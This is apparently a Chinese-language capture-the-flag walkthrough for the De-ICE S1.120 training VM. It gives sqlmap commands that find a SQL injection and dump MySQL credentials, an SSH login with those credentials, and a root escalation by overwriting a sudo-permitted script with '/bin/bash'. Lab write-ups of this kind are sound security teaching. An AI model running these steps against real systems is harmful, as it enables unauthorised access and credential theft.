De-ICE：S1.120靶机

一、主机发现

1.两者改为仅主机并改为1段

2.找到ip

二、信息收集

1.访问页面

2.点击，这里使用了网页翻译

输入，提交

查看产品，可以看到刚刚提交的东西

并且有id值

3.使用sqlmap跑一下

sqlmap -u 'http://192.168.1.120/products.php?id=1' --batch

存在sql注入

三、利用

1.查看数据表名

sqlmap -u 'http://192.168.1.120/products.php?id=1' --dbs --batch

结果

查看mysql数据库，检索用户和密码信息

python3 sqlmap.py -u http://192.168.1.120/products.php?id=1 -D mysql --users --passwords --batch

结果，很多

2.使用ccoffee尝试链接ssh

ssh ccoffee@192.168.1.120

输入密码，连接成功

四、提权

1.查找suid目录

find / -perm -u=s -type f 2>/dev/null

2.可以看到ccoffee用户在此路径下，可以执行 .sh中的命令

执行 sudo -l 时不需要密码

3.切换到/home/ccoffee/scripts/

并将 getlogs.sh 移动到 getlogs.sh.bak，接着创建 getlogs.sh 文件以生成 shell

mv getlogs.sh getlogs.sh.bak
echo "/bin/bash" >  getlogs.sh
chmod 777 getlogs.sh

4.使用sudo执行新创建的文件

sudo /home/ccoffee/scripts/getlogs.sh

5.提权成功